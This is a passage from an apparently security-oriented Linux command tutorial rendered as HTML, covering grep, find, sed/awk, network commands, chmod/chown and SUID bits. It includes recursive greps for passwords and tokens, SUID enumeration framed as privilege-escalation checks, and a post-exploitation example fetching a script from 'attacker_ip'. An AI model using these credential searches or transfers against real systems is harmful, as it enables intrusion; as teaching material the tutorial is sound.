&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^#"&lt;/span&gt; /etc/ssh/sshd_config    &lt;span class="c"&gt;# Exclude comment lines&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^$"&lt;/span&gt; file.txt                &lt;span class="c"&gt;# Exclude empty lines&lt;/span&gt;

&lt;span class="c"&gt;# Extended regex&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"root|admin|sudo"&lt;/span&gt; /etc/passwd
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"^[0-9]{1,3}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]{1,3}"&lt;/span&gt; file.txt  &lt;span class="c"&gt;# Lines starting with IP-like pattern&lt;/span&gt;

&lt;span class="c"&gt;# Count matches&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"Failed"&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# Only print matching part (not whole line)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"[0-9]&lt;/span&gt;&lt;span class="se"&gt;\+\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]&lt;/span&gt;&lt;span class="se"&gt;\+\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]&lt;/span&gt;&lt;span class="se"&gt;\+\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]&lt;/span&gt;&lt;span class="se"&gt;\+&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; file.txt  &lt;span class="c"&gt;# Extract IP addresses&lt;/span&gt;

&lt;span class="c"&gt;# Security use cases:&lt;/span&gt;
&lt;span class="c"&gt;# Find passwords in config files&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"password&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;passwd&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;secret&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;key&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;token"&lt;/span&gt; /etc/ 2&amp;gt;/dev/null
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt; /var/www/ 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Find failed SSH attempts&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed password"&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# Find successful SSH logins&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted"&lt;/span&gt; /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  find — Search the File System
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find by name&lt;/span&gt;
find /etc &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"passwd"&lt;/span&gt;             &lt;span class="c"&gt;# Exact name match&lt;/span&gt;
find /etc &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.conf"&lt;/span&gt;             &lt;span class="c"&gt;# Wildcard&lt;/span&gt;
find /etc &lt;span class="nt"&gt;-iname&lt;/span&gt; &lt;span class="s2"&gt;"*.CONF"&lt;/span&gt;           &lt;span class="c"&gt;# Case-insensitive&lt;/span&gt;

&lt;span class="c"&gt;# Find by type&lt;/span&gt;
find /tmp &lt;span class="nt"&gt;-type&lt;/span&gt; f                    &lt;span class="c"&gt;# Only files&lt;/span&gt;
find /tmp &lt;span class="nt"&gt;-type&lt;/span&gt; d                    &lt;span class="c"&gt;# Only directories&lt;/span&gt;
find /tmp &lt;span class="nt"&gt;-type&lt;/span&gt; l                    &lt;span class="c"&gt;# Only symlinks&lt;/span&gt;

&lt;span class="c"&gt;# Find by permissions&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null       &lt;span class="c"&gt;# SUID files — privilege escalation check&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; 2&amp;gt;/dev/null       &lt;span class="c"&gt;# SGID files&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-0002&lt;/span&gt; 2&amp;gt;/dev/null       &lt;span class="c"&gt;# World-writable files&lt;/span&gt;

&lt;span class="c"&gt;# Find by owner&lt;/span&gt;
find / &lt;span class="nt"&gt;-user&lt;/span&gt; root &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null    &lt;span class="c"&gt;# SUID files owned by root&lt;/span&gt;
find /home &lt;span class="nt"&gt;-user&lt;/span&gt; john                         &lt;span class="c"&gt;# Files owned by user john&lt;/span&gt;
find / &lt;span class="nt"&gt;-nouser&lt;/span&gt; 2&amp;gt;/dev/null                    &lt;span class="c"&gt;# Files with no valid owner&lt;/span&gt;

&lt;span class="c"&gt;# Find by time&lt;/span&gt;
find /tmp &lt;span class="nt"&gt;-mmin&lt;/span&gt; &lt;span class="nt"&gt;-60&lt;/span&gt;                  &lt;span class="c"&gt;# Modified in last 60 minutes&lt;/span&gt;
find /var/log &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;              &lt;span class="c"&gt;# Modified in last 24 hours&lt;/span&gt;
find /etc &lt;span class="nt"&gt;-newer&lt;/span&gt; /etc/passwd         &lt;span class="c"&gt;# Newer than passwd file&lt;/span&gt;

&lt;span class="c"&gt;# Find by size&lt;/span&gt;
find / &lt;span class="nt"&gt;-size&lt;/span&gt; +10M 2&amp;gt;/dev/null        &lt;span class="c"&gt;# Files larger than 10MB&lt;/span&gt;
find / &lt;span class="nt"&gt;-size&lt;/span&gt; &lt;span class="nt"&gt;-1k&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f            &lt;span class="c"&gt;# Files smaller than 1KB&lt;/span&gt;

&lt;span class="c"&gt;# Execute command on found files&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt; 2&amp;gt;/dev/null
find /tmp &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.sh"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;chmod&lt;/span&gt; +x &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;

&lt;span class="c"&gt;# Combined conditions&lt;/span&gt;
find / &lt;span class="nt"&gt;-user&lt;/span&gt; root &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Security-critical find commands:&lt;/span&gt;
&lt;span class="c"&gt;# Find recently modified files (potential indicator of compromise)&lt;/span&gt;
find /etc &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
find /var/www &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-7&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Find world-writable directories (potential attack paths)&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-0002&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/sys/*"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Find files containing passwords in web directories&lt;/span&gt;
find /var/www &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="s2"&gt;"password&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;passwd&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;db_pass"&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.4 Text Processing
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Sort&lt;/span&gt;
&lt;span class="nb"&gt;sort &lt;/span&gt;file.txt                        &lt;span class="c"&gt;# Alphabetical sort&lt;/span&gt;
&lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; file.txt                     &lt;span class="c"&gt;# Numerical sort&lt;/span&gt;
&lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; file.txt                     &lt;span class="c"&gt;# Reverse sort&lt;/span&gt;
&lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; file.txt                     &lt;span class="c"&gt;# Sort and remove duplicates&lt;/span&gt;

&lt;span class="c"&gt;# Remove duplicates&lt;/span&gt;
&lt;span class="nb"&gt;uniq &lt;/span&gt;sorted_file.txt                 &lt;span class="c"&gt;# Remove consecutive duplicates (must be sorted first)&lt;/span&gt;
&lt;span class="nb"&gt;sort &lt;/span&gt;file.txt | &lt;span class="nb"&gt;uniq&lt;/span&gt;                 &lt;span class="c"&gt;# Sort then deduplicate&lt;/span&gt;
&lt;span class="nb"&gt;sort &lt;/span&gt;file.txt | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;             &lt;span class="c"&gt;# Count occurrences&lt;/span&gt;

&lt;span class="c"&gt;# Count&lt;/span&gt;
&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; file.txt                       &lt;span class="c"&gt;# Count lines&lt;/span&gt;
&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; file.txt                       &lt;span class="c"&gt;# Count words&lt;/span&gt;
&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; file.txt                       &lt;span class="c"&gt;# Count bytes&lt;/span&gt;

&lt;span class="c"&gt;# Cut — extract columns&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f1&lt;/span&gt;        &lt;span class="c"&gt;# Extract usernames (field 1, colon delimiter)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f1&lt;/span&gt;,3      &lt;span class="c"&gt;# Extract username and UID&lt;/span&gt;

&lt;span class="c"&gt;# Awk — powerful field processing&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;: &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; /etc/passwd     &lt;span class="c"&gt;# Same as cut example above&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;: &lt;span class="s1"&gt;'{print $1, $3}'&lt;/span&gt; /etc/passwd &lt;span class="c"&gt;# Print username and UID&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{sum += $1} END {print sum}'&lt;/span&gt; numbers.txt  &lt;span class="c"&gt;# Sum a column&lt;/span&gt;
ps aux | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1, $2, $11}'&lt;/span&gt;  &lt;span class="c"&gt;# Print user, PID, and command&lt;/span&gt;

&lt;span class="c"&gt;# Sed — stream editor&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/old/new/'&lt;/span&gt; file.txt            &lt;span class="c"&gt;# Replace first occurrence per line&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/old/new/g'&lt;/span&gt; file.txt           &lt;span class="c"&gt;# Replace all occurrences&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/password=.*/password=REDACTED/'&lt;/span&gt; config.txt  &lt;span class="c"&gt;# Redact passwords in output&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/old/new/g'&lt;/span&gt; file.txt        &lt;span class="c"&gt;# Edit file in place (-i)&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'/^#/d'&lt;/span&gt; file.txt                 &lt;span class="c"&gt;# Delete comment lines&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'/^$/d'&lt;/span&gt; file.txt                 &lt;span class="c"&gt;# Delete empty lines&lt;/span&gt;

&lt;span class="c"&gt;# tr — translate characters&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HELLO"&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'A-Z'&lt;/span&gt; &lt;span class="s1"&gt;'a-z'&lt;/span&gt;       &lt;span class="c"&gt;# Lowercase&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;file.txt | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'\r'&lt;/span&gt;           &lt;span class="c"&gt;# Remove Windows carriage returns&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"hello world"&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="s1"&gt;'\n'&lt;/span&gt;    &lt;span class="c"&gt;# Replace spaces with newlines&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.5 Network Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# IP configuration&lt;/span&gt;
ip addr                              &lt;span class="c"&gt;# Show all interfaces and IPs&lt;/span&gt;
ip addr show eth0                    &lt;span class="c"&gt;# Specific interface&lt;/span&gt;
ifconfig                             &lt;span class="c"&gt;# Legacy (may need net-tools package)&lt;/span&gt;

&lt;span class="c"&gt;# Routing&lt;/span&gt;
ip route                             &lt;span class="c"&gt;# Routing table&lt;/span&gt;
ip route show default                &lt;span class="c"&gt;# Default gateway&lt;/span&gt;
route &lt;span class="nt"&gt;-n&lt;/span&gt;                             &lt;span class="c"&gt;# Legacy routing table&lt;/span&gt;

&lt;span class="c"&gt;# Network connections&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt;                             &lt;span class="c"&gt;# TCP listening ports with process names&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;                            &lt;span class="c"&gt;# TCP and UDP listening&lt;/span&gt;
ss &lt;span class="nt"&gt;-anp&lt;/span&gt;                              &lt;span class="c"&gt;# All connections&lt;/span&gt;
netstat &lt;span class="nt"&gt;-tlnp&lt;/span&gt;                        &lt;span class="c"&gt;# Legacy equivalent&lt;/span&gt;

&lt;span class="c"&gt;# Connectivity testing&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 4 8.8.8.8                    &lt;span class="c"&gt;# Ping with 4 packets&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.1           &lt;span class="c"&gt;# Quick single ping, 1 second timeout&lt;/span&gt;

&lt;span class="c"&gt;# DNS lookups&lt;/span&gt;
nslookup domain.com
dig domain.com                       &lt;span class="c"&gt;# Detailed DNS query&lt;/span&gt;
dig +short domain.com                &lt;span class="c"&gt;# Just the IP&lt;/span&gt;
dig MX domain.com                    &lt;span class="c"&gt;# MX records&lt;/span&gt;
host domain.com                      &lt;span class="c"&gt;# Simple lookup&lt;/span&gt;

&lt;span class="c"&gt;# Traceroute&lt;/span&gt;
traceroute 8.8.8.8
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8                &lt;span class="c"&gt;# No DNS resolution (faster)&lt;/span&gt;

&lt;span class="c"&gt;# Download files&lt;/span&gt;
wget http://example.com/file.txt     &lt;span class="c"&gt;# Download file&lt;/span&gt;
wget &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/file.txt http://url  &lt;span class="c"&gt;# Quiet, specific output path&lt;/span&gt;
curl http://example.com              &lt;span class="c"&gt;# HTTP request&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://example.com           &lt;span class="c"&gt;# Silent (no progress bar)&lt;/span&gt;
curl &lt;span class="nt"&gt;-o&lt;/span&gt; file.txt http://url          &lt;span class="c"&gt;# Save to file&lt;/span&gt;
curl &lt;span class="nt"&gt;-L&lt;/span&gt; http://url                   &lt;span class="c"&gt;# Follow redirects&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"data=value"&lt;/span&gt; http://url  &lt;span class="c"&gt;# POST request&lt;/span&gt;

&lt;span class="c"&gt;# Network file transfer — common in post-exploitation&lt;/span&gt;
&lt;span class="c"&gt;# On attacker: python3 -m http.server 8080&lt;/span&gt;
&lt;span class="c"&gt;# On target:   wget http://attacker_ip:8080/file.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. File Permissions — rwx, chmod, chown
&lt;/h2&gt;

&lt;p&gt;We introduced Linux permissions in Stage 0.2 during the ext4 discussion. Here we go deep on every detail, because &lt;strong&gt;file permissions are the most common privilege escalation vector on Linux systems.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1 Permission Bits — The Full Picture
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/passwd
&lt;span class="c"&gt;# -rw-r--r-- 1 root root 2847 Jan 1 00:00 /etc/passwd&lt;/span&gt;
&lt;span class="c"&gt;# ─────────── &lt;/span&gt;
&lt;span class="c"&gt;# Position 1:    file type (- = regular file, d = directory, l = symlink,&lt;/span&gt;
&lt;span class="c"&gt;#                            b = block device, c = char device, p = pipe, s = socket)&lt;/span&gt;
&lt;span class="c"&gt;# Positions 2-4: owner permissions (rwx)&lt;/span&gt;
&lt;span class="c"&gt;# Positions 5-7: group permissions (rwx)&lt;/span&gt;
&lt;span class="c"&gt;# Positions 8-10: others permissions (rwx)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Reading permission strings:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;String&lt;/th&gt;
&lt;th&gt;Octal&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rwxrwxrwx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;777&lt;/td&gt;
&lt;td&gt;Everyone can read, write, execute — dangerous&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rwxr-xr-x&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;755&lt;/td&gt;
&lt;td&gt;Owner full, group/others read+execute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rw-r--r--&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;644&lt;/td&gt;
&lt;td&gt;Owner read+write, group/others read only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rw-------&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;600&lt;/td&gt;
&lt;td&gt;Owner read+write only — private files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rwx------&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;700&lt;/td&gt;
&lt;td&gt;Owner only, full access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r-xr-xr-x&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;555&lt;/td&gt;
&lt;td&gt;Everyone read+execute, no write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;----------&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;000&lt;/td&gt;
&lt;td&gt;No permissions — even owner cannot access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  5.2 chmod — Changing Permissions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Symbolic mode&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;u+x script.sh        &lt;span class="c"&gt;# Add execute for owner (user)&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;g-w file.txt         &lt;span class="c"&gt;# Remove write from group&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;o-r file.txt         &lt;span class="c"&gt;# Remove read from others&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;a+r file.txt         &lt;span class="c"&gt;# Add read for all (a = all = ugo)&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;u+x,g+r file.txt     &lt;span class="c"&gt;# Multiple changes at once&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;a-x,u+x file.txt     &lt;span class="c"&gt;# Remove execute for all, add for owner&lt;/span&gt;

&lt;span class="c"&gt;# Octal mode (faster, preferred)&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;755 script.sh        &lt;span class="c"&gt;# rwxr-xr-x&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;644 config.txt       &lt;span class="c"&gt;# rw-r--r--&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 private_key      &lt;span class="c"&gt;# rw------- (SSH private keys must be 600)&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 ~/.ssh           &lt;span class="c"&gt;# drwx------ (SSH directory must be 700)&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;777 /tmp/shared      &lt;span class="c"&gt;# rwxrwxrwx (everyone, use with extreme caution)&lt;/span&gt;

&lt;span class="c"&gt;# Recursive&lt;/span&gt;
&lt;span class="nb"&gt;chmod&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; 755 directory/    &lt;span class="c"&gt;# Apply to all files in directory&lt;/span&gt;

&lt;span class="c"&gt;# Common security configurations:&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 ~/.ssh/id_rsa           &lt;span class="c"&gt;# SSH private key — if not 600, SSH refuses to use it&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;644 ~/.ssh/id_rsa.pub       &lt;span class="c"&gt;# SSH public key&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 ~/.ssh                  &lt;span class="c"&gt;# SSH directory&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;640 /etc/shadow             &lt;span class="c"&gt;# Shadow file (root rw, shadow group r)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 chown — Changing Ownership
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Change owner&lt;/span&gt;
&lt;span class="nb"&gt;chown &lt;/span&gt;john file.txt              &lt;span class="c"&gt;# Change owner to john&lt;/span&gt;
&lt;span class="nb"&gt;chown &lt;/span&gt;john:developers file.txt   &lt;span class="c"&gt;# Change owner AND group&lt;/span&gt;
&lt;span class="nb"&gt;chown&lt;/span&gt; :developers file.txt       &lt;span class="c"&gt;# Change only group&lt;/span&gt;
&lt;span class="nb"&gt;chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; www-data:www-data /var/www/html/  &lt;span class="c"&gt;# Recursive — web server files&lt;/span&gt;

&lt;span class="c"&gt;# Check current ownership&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; file.txt
&lt;span class="nb"&gt;stat &lt;/span&gt;file.txt                    &lt;span class="c"&gt;# Detailed info including ownership&lt;/span&gt;

&lt;span class="c"&gt;# chgrp — change group only&lt;/span&gt;
&lt;span class="nb"&gt;chgrp &lt;/span&gt;developers file.txt        &lt;span class="c"&gt;# Same as chown :developers&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 SUID, SGID, Sticky Bit — The Dangerous Trio
&lt;/h3&gt;

&lt;p&gt;Covered in Stage 0.2 theoretically. Here is the practical command reference.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SUID — Set User ID (runs as file owner, not executor)&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;u+s script           &lt;span class="c"&gt;# Set SUID symbolically&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;4755 script          &lt;span class="c"&gt;# Set SUID in octal (4 prefix)&lt;/span&gt;

&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/bin/passwd
&lt;span class="c"&gt;# -rwsr-xr-x  root root  ...  /usr/bin/passwd&lt;/span&gt;
&lt;span class="c"&gt;#    ^-- lowercase 's' = SUID + execute set&lt;/span&gt;
&lt;span class="c"&gt;#    ^-- uppercase 'S' = SUID set, execute NOT set (unusual, often misconfiguration)&lt;/span&gt;

&lt;span class="c"&gt;# SGID — Set Group ID&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;g+s directory        &lt;span class="c"&gt;# Set SGID on directory&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;2755 file            &lt;span class="c"&gt;# Set SGID in octal (2 prefix)&lt;/span&gt;

&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;span class="c"&gt;# drwxr-sr-x  root developers  ...  shared_dir&lt;/span&gt;
&lt;span class="c"&gt;#       ^-- 's' in group execute position = SGID&lt;/span&gt;

&lt;span class="c"&gt;# Sticky Bit&lt;/span&gt;
